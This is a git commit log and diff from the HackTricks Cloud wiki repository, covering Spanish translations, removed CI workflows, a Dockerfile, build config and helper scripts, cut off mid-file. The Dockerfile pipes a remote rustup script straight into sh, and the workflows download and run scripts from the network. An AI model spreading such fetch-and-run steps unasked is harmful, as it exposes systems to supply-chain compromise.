08599baac2 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-06 23:56:22 +00:00
Translator
e93f567104 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-06 17:11:48 +00:00
Translator
39b4264a34 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-05 22:57:41 +00:00
Translator
b7de7fcbda Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin 2025-01-05 20:54:01 +00:00
Translator
9c8defc861 Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin 2025-01-05 15:21:01 +00:00
Translator
7061d233c5 Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ 2025-01-05 15:11:21 +00:00
Translator
9b983a7fa5 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-05 10:37:42 +00:00
Translator
c1503b2f90 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-04 17:56:28 +00:00
Translator
9a933e02fa Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-04 03:47:38 +00:00
Translator
4bf3968119 Translated ['src/pentesting-cloud/azure-security/az-services/az-app-serv 2025-01-04 00:40:53 +00:00
Translator
a7f66ced9e Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md 2025-01-03 19:25:28 +00:00
Translator
48c4f40907 Translated ['src/README.md'] to es 2025-01-03 11:29:36 +00:00
Translator
bb3733a1c5 Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-pivotin 2025-01-02 21:34:59 +00:00
Translator
c14d2efa43 Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/ 2025-01-02 01:13:27 +00:00
Translator
599a50fbec Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe 2025-01-01 23:54:00 +00:00
Translator
536671c61c Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/ 2024-12-31 20:10:24 +00:00
Translator
192d97f7b7 Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az 2024-12-31 18:54:26 +00:00
696 changed files with 38793 additions and 35301 deletions

View File

@@ -1,16 +1,11 @@
You can remove this content before sending the PR:
Puedes eliminar este contenido antes de enviar la PR:
## Attribution
We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone.
Valoramos tu conocimiento y te animamos a compartir contenido. Asegúrate de que solo subas contenido que poseas o que tengas permiso para compartir del autor original (agregando una referencia al autor en el texto añadido o al final de la página que estás modificando o ambos). Tu respeto por los derechos de propiedad intelectual fomenta un entorno de compartición confiable y legal para todos.
## HackTricks Training
If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-<username>`.
Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction.
In any case, thanks for contributing to HackTricks!
Si estás añadiendo para poder aprobar el examen de la [certificación ARTE](https://training.hacktricks.xyz/courses/arte) con 2 flags en lugar de 3, necesitas llamar a la PR `arte-<username>`.
Además, recuerda que no se aceptarán correcciones de gramática/sintaxis para la reducción de flags del examen.
En cualquier caso, ¡gracias por contribuir a HackTricks!

View File

@@ -1,56 +0,0 @@
name: Build and Push Docker Image
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
- 'book/**'
workflow_dispatch:
concurrency: build_docker
permissions:
packages: write
id-token: write
contents: write
jobs:
build-and-push:
runs-on: ubuntu-latest
steps:
# 1. Check out the repository to get the Dockerfile
- name: Check out code
uses: actions/checkout@v3
with:
fetch-depth: 0
# 2. Log into GitHub Container Registry
- name: Log in to GHCR
uses: docker/login-action@v2
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
# 3. Build and push
- name: Build and push Docker image
run: |
# Define image name
IMAGE_NAME=ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image
# Build Docker image
docker build -t $IMAGE_NAME:latest .
# Push Docker image to GHCR
docker push $IMAGE_NAME:latest
# Set image visibility to public
curl -X PATCH \
-H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/packages/container/translator-image/visibility \
-d '{"visibility":"public"}'

View File

@@ -14,15 +14,12 @@ on:
concurrency: build_master
permissions:
packages: write
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
container:
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
environment: prod
steps:
@@ -30,65 +27,32 @@ jobs:
uses: actions/checkout@v4
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
# Build the mdBook
- name: Build mdBook
run: MDBOOK_BOOK__LANGUAGE=en mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
run: mdbook build
- name: Install GitHub CLI
run: |
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y
# Cat hacktricks-preprocessor.log
#- name: Cat hacktricks-preprocessor.log
# run: cat hacktricks-preprocessor.log
- name: Publish search index release asset
shell: bash
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -euo pipefail
ASSET="book/searchindex.js"
TAG="searchindex-en"
TITLE="Search Index (en)"
if [ ! -f "$ASSET" ]; then
echo "Expected $ASSET to exist after build" >&2
exit 1
fi
TOKEN="${GITHUB_TOKEN}"
if [ -z "$TOKEN" ]; then
echo "No token available for GitHub CLI" >&2
exit 1
fi
export GH_TOKEN="$TOKEN"
# Delete the release if it exists
echo "Checking if release $TAG exists..."
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
echo "Release $TAG already exists, deleting it..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || {
echo "Failed to delete release, trying without cleanup-tag..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || {
echo "Warning: Could not delete existing release, will try to recreate..."
}
}
sleep 2 # Give GitHub API a moment to process the deletion
else
echo "Release $TAG does not exist, proceeding with creation..."
fi
# Create new release (with force flag to overwrite if deletion failed)
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || {
echo "Failed to create release, trying with force flag..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true
sleep 2
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
}
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3

View File

@@ -1,204 +0,0 @@
name: Cleanup Merged/Closed PR Branches
on:
schedule:
- cron: '0 2 * * 0' # Every Sunday at 2 AM UTC
workflow_dispatch: # Allow manual triggering
inputs:
dry_run:
description: 'Dry run (show what would be deleted without actually deleting)'
required: false
default: 'false'
type: boolean
permissions:
contents: write
pull-requests: read
jobs:
cleanup-branches:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
with:
fetch-depth: 0 # Need full history to see all branches
token: ${{ secrets.PAT_TOKEN }}
- name: Install GitHub CLI
run: |
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y
- name: Configure git
run: |
git config --global user.email "action@github.com"
git config --global user.name "GitHub Action"
- name: Cleanup merged/closed PR branches
env:
GH_TOKEN: ${{ secrets.PAT_TOKEN }}
run: |
echo "Starting branch cleanup process..."
# Check if this is a dry run
DRY_RUN="${{ github.event.inputs.dry_run || 'false' }}"
if [ "$DRY_RUN" = "true" ]; then
echo "🔍 DRY RUN MODE - No branches will actually be deleted"
echo ""
fi
# Define protected branches and patterns
protected_branches=(
"master"
"main"
)
# Translation branch patterns (any 2-letter combination)
translation_pattern="^[a-zA-Z]{2}$"
# Get all remote branches except protected ones
echo "Fetching all remote branches..."
git fetch --all --prune
# Get list of all remote branches (excluding HEAD)
all_branches=$(git branch -r | grep -v 'HEAD' | sed 's/origin\///' | grep -v '^$')
# Get all open PRs to identify branches with open PRs
echo "Getting list of open PRs..."
open_pr_branches=$(gh pr list --state open --json headRefName --jq '.[].headRefName' | sort | uniq)
echo "Open PR branches:"
echo "$open_pr_branches"
echo ""
deleted_count=0
skipped_count=0
for branch in $all_branches; do
branch=$(echo "$branch" | xargs) # Trim whitespace
# Skip if empty
if [ -z "$branch" ]; then
continue
fi
echo "Checking branch: $branch"
# Check if it's a protected branch
is_protected=false
for protected in "${protected_branches[@]}"; do
if [ "$branch" = "$protected" ]; then
echo " ✓ Skipping protected branch: $branch"
is_protected=true
skipped_count=$((skipped_count + 1))
break
fi
done
if [ "$is_protected" = true ]; then
continue
fi
# Check if it's a translation branch (any 2-letter combination)
# Also protect any branch that starts with 2 letters followed by additional content
if echo "$branch" | grep -Eq "$translation_pattern" || echo "$branch" | grep -Eq "^[a-zA-Z]{2}[_-]"; then
echo " ✓ Skipping translation/language branch: $branch"
skipped_count=$((skipped_count + 1))
continue
fi
# Check if branch has an open PR
if echo "$open_pr_branches" | grep -Fxq "$branch"; then
echo " ✓ Skipping branch with open PR: $branch"
skipped_count=$((skipped_count + 1))
continue
fi
# Check if branch had a PR that was merged or closed
echo " → Checking PR history for branch: $branch"
# Look for PRs from this branch (both merged and closed)
pr_info=$(gh pr list --state all --head "$branch" --json number,state,mergedAt --limit 1)
if [ "$pr_info" != "[]" ]; then
pr_state=$(echo "$pr_info" | jq -r '.[0].state')
pr_number=$(echo "$pr_info" | jq -r '.[0].number')
merged_at=$(echo "$pr_info" | jq -r '.[0].mergedAt')
if [ "$pr_state" = "MERGED" ] || [ "$pr_state" = "CLOSED" ]; then
if [ "$DRY_RUN" = "true" ]; then
echo " 🔍 [DRY RUN] Would delete branch: $branch (PR #$pr_number was $pr_state)"
deleted_count=$((deleted_count + 1))
else
echo " ✗ Deleting branch: $branch (PR #$pr_number was $pr_state)"
# Delete the remote branch
if git push origin --delete "$branch" 2>/dev/null; then
echo " Successfully deleted remote branch: $branch"
deleted_count=$((deleted_count + 1))
else
echo " Failed to delete remote branch: $branch"
fi
fi
else
echo " ✓ Skipping branch with open PR: $branch (PR #$pr_number is $pr_state)"
skipped_count=$((skipped_count + 1))
fi
else
# No PR found for this branch - it might be a stale branch
# Check if branch is older than 30 days and has no recent activity
last_commit_date=$(git log -1 --format="%ct" origin/"$branch" 2>/dev/null || echo "0")
if [ "$last_commit_date" != "0" ] && [ -n "$last_commit_date" ]; then
# Calculate 30 days ago in seconds since epoch
thirty_days_ago=$(($(date +%s) - 30 * 24 * 60 * 60))
if [ "$last_commit_date" -lt "$thirty_days_ago" ]; then
if [ "$DRY_RUN" = "true" ]; then
echo " 🔍 [DRY RUN] Would delete stale branch (no PR, >30 days old): $branch"
deleted_count=$((deleted_count + 1))
else
echo " ✗ Deleting stale branch (no PR, >30 days old): $branch"
if git push origin --delete "$branch" 2>/dev/null; then
echo " Successfully deleted stale branch: $branch"
deleted_count=$((deleted_count + 1))
else
echo " Failed to delete stale branch: $branch"
fi
fi
else
echo " ✓ Skipping recent branch (no PR, <30 days old): $branch"
skipped_count=$((skipped_count + 1))
fi
else
echo " ✓ Skipping branch (cannot determine age): $branch"
skipped_count=$((skipped_count + 1))
fi
fi
echo ""
done
echo "=================================="
echo "Branch cleanup completed!"
if [ "$DRY_RUN" = "true" ]; then
echo "Branches that would be deleted: $deleted_count"
else
echo "Branches deleted: $deleted_count"
fi
echo "Branches skipped: $skipped_count"
echo "=================================="
# Clean up local tracking branches (only if not dry run)
if [ "$DRY_RUN" != "true" ]; then
echo "Cleaning up local tracking branches..."
git remote prune origin
fi
echo "Cleanup process finished."

View File

@@ -1,195 +0,0 @@
name: Translator All
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
- Dockerfile
workflow_dispatch:
permissions:
packages: write
id-token: write
contents: write
jobs:
translate:
name: Translate → ${{ matrix.name }} (${{ matrix.branch }})
runs-on: ubuntu-latest
environment: prod
# Run N languages in parallel (tune max-parallel if needed)
strategy:
fail-fast: false
# max-parallel: 3 #Nothing to run all in parallel
matrix:
include:
- { name: "Afrikaans", language: "Afrikaans", branch: "af" }
- { name: "German", language: "German", branch: "de" }
- { name: "Greek", language: "Greek", branch: "el" }
- { name: "Spanish", language: "Spanish", branch: "es" }
- { name: "French", language: "French", branch: "fr" }
- { name: "Hindi", language: "Hindi", branch: "hi" }
- { name: "Italian", language: "Italian", branch: "it" }
- { name: "Japanese", language: "Japanese", branch: "ja" }
- { name: "Korean", language: "Korean", branch: "ko" }
- { name: "Polish", language: "Polish", branch: "pl" }
- { name: "Portuguese", language: "Portuguese", branch: "pt" }
- { name: "Serbian", language: "Serbian", branch: "sr" }
- { name: "Swahili", language: "Swahili", branch: "sw" }
- { name: "Turkish", language: "Turkish", branch: "tr" }
- { name: "Ukrainian", language: "Ukrainian", branch: "uk" }
- { name: "Chinese", language: "Chinese", branch: "zh" }
# Ensure only one job per branch runs at a time (even across workflow runs)
concurrency:
group: translate-${{ matrix.branch }}
cancel-in-progress: false
container:
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
env:
LANGUAGE: ${{ matrix.language }}
BRANCH: ${{ matrix.branch }}
steps:
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Update and download scripts
run: |
sudo apt-get update
# Install GitHub CLI properly
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y \
&& sudo apt-get install -y wget
wget -O /tmp/get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py
wget -O /tmp/compare_and_fix_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/compare_and_fix_refs.py
wget -O /tmp/translator.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/translator.py
- name: Run get_and_save_refs.py
run: |
python /tmp/get_and_save_refs.py
- name: Download language branch & update refs
run: |
pwd
ls -la
git config --global --add safe.directory "$GITHUB_WORKSPACE"
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git config pull.rebase false
git checkout $BRANCH
git pull
python /tmp/compare_and_fix_refs.py --files-unmatched-paths /tmp/file_paths.txt
git add .
git commit -m "Fix unmatched refs" || echo "No changes to commit"
git push || echo "No changes to push"
- name: Run translation script on changed files
run: |
git checkout master
cp src/SUMMARY.md /tmp/master-summary.md
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n ",$file" >> /tmp/file_paths.txt
fi
done
echo "Files to translate (`wc -l < /tmp/file_paths.txt`):"
cat /tmp/file_paths.txt
echo ""
echo ""
touch /tmp/file_paths.txt
if [ -s /tmp/file_paths.txt ]; then
python /tmp/translator.py \
--language "$LANGUAGE" \
--branch "$BRANCH" \
--api-key "$OPENAI_API_KEY" \
-f "$(cat /tmp/file_paths.txt)" \
-t 3
else
echo "No markdown files changed, skipping translation."
fi
- name: Sync SUMMARY.md from master
run: |
git checkout "$BRANCH"
git pull
if [ -f /tmp/master-summary.md ]; then
cp /tmp/master-summary.md src/SUMMARY.md
git add src/SUMMARY.md
git commit -m "Sync SUMMARY.md with master" || echo "SUMMARY already up to date"
git push || echo "No SUMMARY updates to push"
else
echo "master summary not exported; failing"
exit 1
fi
- name: Build mdBook
run: |
git checkout "$BRANCH"
git pull
MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
- name: Publish search index release asset
shell: bash
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -euo pipefail
ASSET="book/searchindex.js"
TAG="searchindex-${BRANCH}"
TITLE="Search Index (${BRANCH})"
if [ ! -f "$ASSET" ]; then
echo "Expected $ASSET to exist after build" >&2
exit 1
fi
TOKEN="${GITHUB_TOKEN}"
if [ -z "$TOKEN" ]; then
echo "No token available for GitHub CLI" >&2
exit 1
fi
export GH_TOKEN="$TOKEN"
# Delete the release if it exists
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
echo "Release $TAG already exists, deleting it..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY"
fi
# Create new release
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for $BRANCH" --repo "$GITHUB_REPOSITORY"
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: |
echo "Current branch:"
git rev-parse --abbrev-ref HEAD
echo "Syncing $BRANCH to S3"
aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
echo "Sync completed"
echo "Cat 3 files from the book"
find . -type f -name 'index.html' -print | head -n 3 | xargs -r cat

View File

@@ -1,23 +0,0 @@
name: Upload HackTricks to HackTricks AI
on:
workflow_dispatch:
schedule:
- cron: "0 5 1 * *"
jobs:
dowload-clean-push:
runs-on: ubuntu-latest
environment: prod
steps:
# 1. Download the script
- name: Dowload script
run: wget "https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/scripts/upload_ht_to_ai.py"
- name: Install pip dependencies
run: python3 -m pip install openai
# 2. Execute the script
- name: Execute script
run: export MY_OPENAI_API_KEY=${{ secrets.MY_OPENAI_API_KEY }}; python3 "./upload_ht_to_ai.py"

1
.gitignore vendored
View File

@@ -35,4 +35,3 @@ book
book/*
hacktricks-preprocessor.log
hacktricks-preprocessor-error.log
searchindex.js

View File

@@ -1,31 +0,0 @@
# Use the official Python 3.12 Bullseye image as the base
FROM python:3.12-bullseye
# Install system dependencies
RUN apt-get update && apt-get install -y \
curl \
wget \
git \
sudo \
build-essential \
awscli
# Install Python libraries
RUN pip install --upgrade pip && \
pip install openai tqdm tiktoken
# Install Rust & Cargo
RUN curl https://sh.rustup.rs -sSf | sh -s -- -y
ENV PATH="/root/.cargo/bin:${PATH}"
# Install mdBook & plugins
RUN cargo install mdbook
RUN cargo install mdbook-alerts
RUN cargo install mdbook-reading-time
RUN cargo install mdbook-pagetoc
RUN cargo install mdbook-tabs
RUN cargo install mdbook-codename
# Set the working directory
WORKDIR /app

View File

@@ -1 +0,0 @@
src/README.md

34
README.md Normal file
View File

@@ -0,0 +1,34 @@
# HackTricks Cloud
{{#include ./banners/hacktricks-training.md}}
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
_Los logotipos y el diseño en movimiento de Hacktricks son de_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
> Bienvenido a la página donde encontrarás cada **truco/técnica/lo que sea relacionado con CI/CD y Cloud** que he aprendido en **CTFs**, **entornos** de **vida real**, **investigando** y **leyendo** investigaciones y noticias.
### **Metodología de Pentesting CI/CD**
**En la Metodología de CI/CD de HackTricks encontrarás cómo hacer pentesting a la infraestructura relacionada con actividades de CI/CD.** Lee la siguiente página para una **introducción:**
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
### Metodología de Pentesting Cloud
**En la Metodología de Cloud de HackTricks encontrarás cómo hacer pentesting a entornos de cloud.** Lee la siguiente página para una **introducción:**
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
### Licencia y Descargo de Responsabilidad
**Consúltalos en:**
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
### Estadísticas de Github
![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg)
{{#include ./banners/hacktricks-training.md}}

View File

@@ -1,7 +1,6 @@
[book]
authors = ["HackTricks Team"]
language = "en"
multilingual = false
src = "src"
title = "HackTricks Cloud"
@@ -9,26 +8,17 @@ title = "HackTricks Cloud"
create-missing = false
extra-watch-dirs = ["translations"]
[preprocessor.alerts]
after = ["links"]
[preprocessor.reading-time]
[preprocessor.pagetoc]
[preprocessor.tabs]
[preprocessor.codename]
[preprocessor.hacktricks]
command = "python3 ./hacktricks-preprocessor.py"
env = "prod"
[output.html]
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
additional-css = ["theme/tabs.css", "theme/pagetoc.css"]
additional-js = [
"theme/pagetoc.js",
"theme/tabs.js",
"theme/pagetoc.js",
"theme/ht_searcher.js",
"theme/sponsor.js",
"theme/ai.js"
@@ -36,6 +26,7 @@ additional-js = [
no-section-label = true
preferred-dark-theme = "hacktricks-dark"
default-theme = "hacktricks-light"
hash-files = false
[output.html.fold]
enable = true # whether or not to enable section folding

View File

@@ -53,11 +53,17 @@ def ref(matchobj):
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
if "#" in href:
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
result = findtitle(href.split("#")[0], book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
chapter, _path = findtitle(href, book, "source_path")
result = findtitle(href, book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
except Exception as e:
@@ -65,11 +71,17 @@ def ref(matchobj):
dir = path.dirname(current_chapter['source_path'])
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
if "#" in href:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
title = chapter["name"]
logger.debug(f'Recursive title search result: {chapter["name"]}')
except Exception as e:
@@ -147,8 +159,14 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
logger.debug(f"Book keys: {book.keys()}")
for chapter in iterate_chapters(book['sections']):
# Handle both old (sections) and new (items) mdbook API
book_items = book.get('sections') or book.get('items', [])
for chapter in iterate_chapters(book_items):
if chapter is None:
continue
logger.debug(f"Chapter: {chapter['path']}")
current_chapter = chapter
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'

View File

@@ -1,88 +0,0 @@
#!/bin/bash
# Define the image folder and the root of your project
IMAGE_FOLDER="./src/images"
PROJECT_ROOT="."
# Move to the project root
cd "$PROJECT_ROOT" || exit
# Loop through each image file in the folder
find "$IMAGE_FOLDER" -type f | while IFS= read -r image; do
# Extract the filename without the path
image_name=$(basename "$image")
# If image file name contains "sponsor", skip it
if [[ "$image_name" == *"sponsor"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"arte"* ]]; then
echo "Skipping arte image: $image_name"
continue
fi
if [[ "$image_name" == *"grte"* ]]; then
echo "Skipping grte image: $image_name"
continue
fi
if [[ "$image_name" == *"azrte"* ]]; then
echo "Skipping azrte image: $image_name"
continue
fi
if [[ "$image_name" == *"websec"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"venacus"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"CLOUD"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"cloud.gif"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"CH_logo"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"lasttower"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
echo "Checking image: $image_name"
# Search for the image name using rg and capture the result
search_result=$(rg -F --files-with-matches "$image_name" \
--no-ignore --hidden \
--glob '!.git/*' \
--glob '!$IMAGE_FOLDER/*' < /dev/null)
echo "Search result: $search_result"
# If rg doesn't find any matches, delete the image
if [ -z "$search_result" ]; then
echo "Deleting unused image: $image"
rm "$image"
else
echo "Image used: $image_name"
echo "$search_result"
fi
done
echo "Cleanup completed!"

View File

@@ -1,165 +0,0 @@
#!/usr/bin/env python3
import argparse
import json
import re
from pathlib import Path
SRC_DIR = Path("./src")
REFS_JSON = Path("/tmp/refs.json")
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
def extract_refs(text: str):
"""Return a list of refs (trimmed) in appearance order."""
return [m.strip() for m in REF_RE.findall(text)]
def replace_refs_in_text(text: str, new_refs: list):
"""Replace all refs in text with new_refs, maintaining order."""
matches = list(REF_RE.finditer(text))
if len(matches) != len(new_refs):
return text # Can't replace if counts don't match
# Replace from end to beginning to avoid offset issues
result = text
for match, new_ref in zip(reversed(matches), reversed(new_refs)):
# Get the full match span to replace the entire {{#ref}}...{{#endref}} block
start, end = match.span()
# Format the replacement with proper newlines
formatted_replacement = f"{{{{#ref}}}}\n{new_ref}\n{{{{#endref}}}}"
result = result[:start] + formatted_replacement + result[end:]
return result
def main():
parser = argparse.ArgumentParser(description="Compare and fix refs between current branch and master branch")
parser.add_argument("--files-unmatched-paths", type=str,
help="Path to file where unmatched file paths will be saved (comma-separated on first line)")
args = parser.parse_args()
if not SRC_DIR.is_dir():
raise SystemExit(f"Not a directory: {SRC_DIR}")
if not REFS_JSON.exists():
raise SystemExit(f"Reference file not found: {REFS_JSON}")
# Load the reference refs from master branch
try:
with open(REFS_JSON, 'r', encoding='utf-8') as f:
master_refs = json.load(f)
except (json.JSONDecodeError, UnicodeDecodeError) as e:
raise SystemExit(f"Error reading {REFS_JSON}: {e}")
print(f"Loaded reference data for {len(master_refs)} files from {REFS_JSON}")
files_processed = 0
files_modified = 0
files_with_differences = 0
unmatched_files = [] # Track files with unmatched refs
# Track which files exist in current branch
current_files = set()
for md_path in sorted(SRC_DIR.rglob("*.md")):
rel = md_path.relative_to(SRC_DIR).as_posix()
rel_with_src = f"{SRC_DIR.name}/{rel}" # Include src/ prefix for output
files_processed += 1
# Track this file as existing in current branch
current_files.add(rel)
try:
content = md_path.read_text(encoding="utf-8")
except UnicodeDecodeError:
# Fallback if encoding is odd
content = md_path.read_text(errors="replace")
current_refs = extract_refs(content)
# Check if file exists in master refs
if rel not in master_refs:
if current_refs:
print(f"⚠️ NEW FILE with refs: {rel_with_src} (has {len(current_refs)} refs)")
files_with_differences += 1
unmatched_files.append(rel_with_src)
continue
master_file_refs = master_refs[rel]
# Compare ref counts
if len(current_refs) != len(master_file_refs):
print(f"📊 REF COUNT MISMATCH: {rel_with_src} -- Master: {len(master_file_refs)} refs, Current: {len(current_refs)} refs")
files_with_differences += 1
unmatched_files.append(rel_with_src)
continue
# If no refs in either, skip
if not current_refs and not master_file_refs:
continue
# Compare individual refs
differences_found = False
for i, (current_ref, master_ref) in enumerate(zip(current_refs, master_file_refs)):
if current_ref != master_ref:
if not differences_found:
print(f"🔍 REF DIFFERENCES in {rel_with_src}:")
differences_found = True
print(f" Ref {i+1}:")
print(f" Master: {repr(master_ref)}")
print(f" Current: {repr(current_ref)}")
if differences_found:
files_with_differences += 1
unmatched_files.append(rel_with_src)
# Replace current refs with master refs
try:
new_content = replace_refs_in_text(content, master_file_refs)
if new_content != content:
